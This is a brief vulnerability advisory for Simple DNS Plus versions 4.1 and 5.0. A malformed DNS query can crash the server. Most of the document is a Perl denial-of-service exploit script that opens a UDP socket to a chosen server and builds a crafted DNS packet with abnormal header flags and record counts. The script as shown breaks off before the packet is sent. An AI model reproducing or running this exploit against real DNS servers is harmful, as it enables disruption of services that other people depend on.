A vulnerability in the way Simple DNS plus handles incoming DNS queries allows a remote attacker to cause the product to fail by sending it a malformed DNS request.
Vulnerable Systems:
* Simple DNS Plus version 5.0
* Simple DNS Plus version 4.1
Exploit:
#!/usr/bin/perl
# Simple DNS Plus 5.0/4.1 < remote Denial of Service exploit
#
# usage: sdns-dos.pl <dns server> <dns source port> <num of packets>
# Exploit written by Exodus.
# http://www.blackhat.org.il
use IO::Socket;
if(@ARGV < 3){
print("sdns-dos.pl <dns server> <dns source port> <num of packets>");
}
$sock = IO::Socket::INET->new(PeerAddr => "$ARGV[0]:$ARGV[1]", Proto => 'UDP') || die("Cant connect DNS server");
$address = $ARGV[0];
$trans = pack("H4","1337");
$flags = pack("B16","1000010110110000");
$question = pack("H4","0001");
$answerRR = pack("H4","0001");
$authorityRR = pack("H4","0000");
$additionlRR = pack("H4","0000");
$type = pack("H4","0001"); # A host name
$class = pack("H4","0001"); # IN